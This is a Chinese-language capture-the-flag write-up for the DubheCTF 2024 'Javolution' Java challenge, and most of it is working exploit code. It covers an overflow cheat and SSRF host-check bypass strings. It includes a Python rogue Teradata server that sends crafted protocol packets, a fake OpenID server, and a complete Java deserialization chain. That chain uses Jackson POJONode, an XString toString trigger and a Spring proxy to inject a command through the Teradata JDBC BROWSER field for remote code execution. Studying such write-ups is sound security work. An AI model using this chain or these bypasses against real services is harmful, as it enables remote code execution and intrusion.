一個為你準備的現代 Java 挑戰,繞過它並實現 RCE!
源碼 https://github.com/H4cking2theGate/My-CTF-Challenges/tree/main/DubheCTF%202024/Javolution
繞過#
/pal/cheat 修改自己的 defense 為負數,讓 opponentPower 溢出為負值,打敗 jetragon
升到 50 級後,傳入 localhost%00dubhe 繞過 host 檢測
def levelup():
r = requests.get(url+"/pal/cheat?defense=-800000")
print(r.text)
r = requests.get(url+"/pal/battle/jetragon")
print(r.text)
def deser():
r = requests.post(url+"/pal/cheat?host=localhost%00dubhe", data={"data":mydata})
print(r.text)
這裡看了 wp 後收集到的其他幾種繞過
子域名解析到127.0.0.1
dubhe.localhost
::FFFF:127.0.0.1%dubhe
Teradata RCE#
參考blackhat,Teradata 中可以利用 browser 字段命令注入繞過 jdk17 的限制
com.teradata.jdbc.jdbc.GenericTeradataConnection#GenericTeradataConnection 作為本題的 sink 點,調用棧如下
exec:320, Runtime (java.lang)
<init>:249, GenericTeradataConnection (com.teradata.jdbc.jdbc)
<init>:180, TDSession (com.teradata.jdbc.jdbc_4)
createConnection:63, ConnectionFactory (com.teradata.jdbc.jdbc)
createConnection:53, ConnectionFactory (com.teradata.jdbc.jdbc)
createNewConnection:752, TeraDataSourceBase (com.teradata.jdbc)
getConnection:21, TeraDataSource (com.teradata.jdbc)
惡意 TeradataServer
import asyncore
import logging
import socket
import struct
class TeradataRequestHandler(asyncore.dispatcher_with_send):
def __init__(self, sock, addr, url):
asyncore.dispatcher_with_send.__init__(self, sock=sock)
self.addr = addr
self.packet_to_send = (bytes.fromhex('03020a0000070000')+
struct.pack(">H",len(url)+899)+
bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+
struct.pack(">H",len(url)+87)+
bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+
struct.pack(">H",len(url)+11)+
bytes.fromhex('000372636500')+
struct.pack("B",len(url))+
url.encode("ascii")+
bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a'))
self.ibuffer = []
def handle_read(self):
data = self.recv(8192)
if data:
logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
self.send(self.packet_to_send)
def handle_close(self):
logging.info('[+]Connection closed: {}'.format(self.addr))
self.close()
class TeradataServer(asyncore.dispatcher):
def __init__(self, host, port, url):
asyncore.dispatcher.__init__(self)
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind((host, port))
self.listen(5)
logging.info('[+]Listening on {}:{}'.format(host, port))
self.url = url
def handle_accept(self):
pair = self.accept()
if pair is not None:
sock, addr = pair
logging.info('[+]Incoming connection from {}'.format(repr(addr)))
handler = TeradataRequestHandler(sock, addr, self.url)
if __name__ == '__main__':
logging.basicConfig(level=logging.INFO)
server = TeradataServer('0.0.0.0', 10250, 'http://127.0.0.1:7777/')
asyncore.loop()
惡意 ssoserver
from flask import Flask
app = Flask(__name__)
@app.route("/")
@app.route("/.well-known/openid-configuration")
def index():
return "{\"authorization_endpoint\": \"1\", \"token_endpoint\": \"1\"}"
if __name__ == "__main__":
app.run('0.0.0.0',port=7777)
反序列化#
觸發 toString
本題有 spring 依賴,可以用 jackson 觸發 getter,同時 BadAttributeValueExpException 在 jdk17 中被改了,沒法觸發 toString,這裡換 Xstring 即可。
收集的 wp 中還有利用 EventListenerList 觸發 toString 的鏈子,參考
public static Object makeReadObjectToStringTrigger(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(obj);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}
穩定調用 getter
在 TeraDataSourceBase 中有些不符合命名規範的 getter/setter 會讓 jackson 反序列化时报错 Conflicting getter definitions,這裡可以用 JDK 動態代理來解決。
POJONode 在反序列化過程中調用的 getter 順序不穩定,這是由於 getDeclaredMethods 獲取的 Method 數組順序是依據函數地址而不是函數名。參考 https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
在對 TeraDataSource 的反序列化過程中,props 屬性中會出現 4 個函數,而其中 javax.sql.CommonDataSource#getParentLogger 這個函數在 TeraDataSource 的實現裡面會拋出異常,如果 props 中的 getConnection 排在 getParentLogger 之前即可成功觸發,排在後面會報錯,並且不同平台下差異很大,windows 下大概率能觸發,題目中給了一个 PalDataSource 來解決這裡的問題。
完整 exp#
package org.example.teratest;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
public class JacksonTera
{
public static void main(String[] args) throws Exception
{
String command = "notepad";
PalDataSource dataSource = new PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
dataSource.setBROWSER_TIMEOUT("2");
dataSource.getConnection();
Object proxy = getProxy(dataSource, DataSource.class);
// Object exp = getBadAttr(proxy);
Object exp = getXstringMap(proxy);
base64Serialize(exp);
}
public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}
public static Object getBadAttr(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
return val;
}
public static Object getXstringMap(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);
XString xString = new XString("A.R.");
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);
return o;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static String base64Serialize(Object obj) throws Exception
{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}